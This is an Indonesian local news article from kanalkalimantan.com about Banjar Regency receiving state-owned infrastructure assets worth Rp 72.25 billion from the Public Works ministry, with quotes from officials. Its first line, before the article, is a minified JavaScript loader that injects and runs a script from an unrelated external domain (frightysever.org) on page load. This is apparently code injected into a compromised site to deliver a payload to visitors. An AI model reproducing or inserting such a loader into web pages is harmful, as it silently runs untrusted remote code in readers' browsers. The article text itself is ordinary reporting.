(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten (Pemkab) Banjar melaksanakan penandatanganan hibah aset operasional Barang Milik Negara (BMN) dari Direktorat Jenderal (Ditjen) Cipta Karya Kementerian PUPR di Command Center Manis, Rabu (21/4/2021) siang.
Hibah barang milik negara yang diterima Pemkab Banjar meliputi beberapa aset, diantaranya infrastruktur air minum, penataan kawasan permukiman, infrastruktur sanitasi, Ruang Terbuka Hijau (RTH) di kawasan Stadion Demang Lehman senilai Rp 72.252.262.925.
Penandatanganan dilakukan Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah Kalimantan Selatan disaksikan Sekda Banjar H M Hilman, Kepala Dinas Permukiman Banjar Mursal, secara daring diikuti Dirjen Cipta Karya Kementerian PUPR Diana Kusumastuti.
Baca juga: Perlindungan Anak Berbasis Masyarakat, Ini Angka Kasus Kekerasan di Kabupaten Banjar
Dirjen Cipta Karya Kementerian PUPR RI Diana Kusumastuti mengatakan, sejak diterbitkannya keputusan Presiden Nomor 17 Tahun 2007 tentang penertiban barang milik negara, hampir seluruh kementerian, lembaga dan pemerintah daerah memusatkan perhatian dan potensinya untuk membenahi juga menertibkan tata kelola barang milik daerah di bawah koordinasi kuasa pengguna barang masing-masing.
“Kita menyadari bahwa pembenahan dan penertiban tata kelola BMN berkolerasi positif bagi kementerian, lembaga maupun pemerintah daerah untuk meraih opini dari BPK dengan predikat WTP,” ucapnya.
Baca juga: Dikerjakan Bertahap, Ini Foto-foto Desain Penataan Kawasan Sekumpul
Ditambahkannya, barang milik negara yang dihibahkan oleh Ditjen Cipta Karya Kementerian PUPR kepada Pemkab Banjar dengan total perolehan yang cukup besar senilai Rp 72.252.262.925. Meliputi beberapa kegiatan atau aset termasuk infrastruktur air minum, penataan kawasan permukiman, infrastruktur sanitasi, Ruang Terbuka Hijau (RTH) di kawasan Stadion Demang Lehman, prasarana strategis dengan membangun atau merehabilitasi juga merenovasi sekolah.
Dirjen Cipta Karya berharap Pemkab Banjar lebih optimal untuk memanfaatkan, mengoperasionalkan dan terpenting adalah pemeliharaan barang milik negara itu.
Sehingga target peningkatan pelayanan jasa di bidang PUPR bagi masyarakat Kabupaten Banjar dapat tercapai lebih.
Baca juga: KUD di HSU Masih Bisa Bertahan di Tengah Pandemi
Bupati Banjar H Saidi Mansyur menyampaikan, atas nama Pemkab Banjar mengucapkan terimakasih yang sebesar besarnya kepada Ditjen Cipta Karya Kementerian PUPR.
“Hibah ini bisa dioptimalkan dan disesuaikan dengan kepentingan penggunaan masyarakat Kabupaten Banjar,” pungkasnya. (kanalkalimantan.com/yuda)
Reporter : yuda
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Kementerian Perhubungan (Kemenhub) memutuskan mencabut status Bandara Syamsudin Noor Banjarmasin di Banjarbaru… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Jelang Pemilihan Kepala Daerah (Pilkada) 2024, kandidat bakal calon Wali Kota dan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Jemaah Calon Haji (JCH) Kabupaten Banjar Tahun 2024 yang seluruhnya berjumlah 452… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pemerintah Kabupaten Hulu Sungai Utara (HSU) menggelar peringatan Hari Pendidikan Nasional (Hardiknas)… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 150 ekor kucing jantan di Kota Banjarbaru, Kalimantan Selatan (Kalsel) mendapat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan (Kalsel) resmi menetapkan perolehan kursi… Read More
This website uses cookies.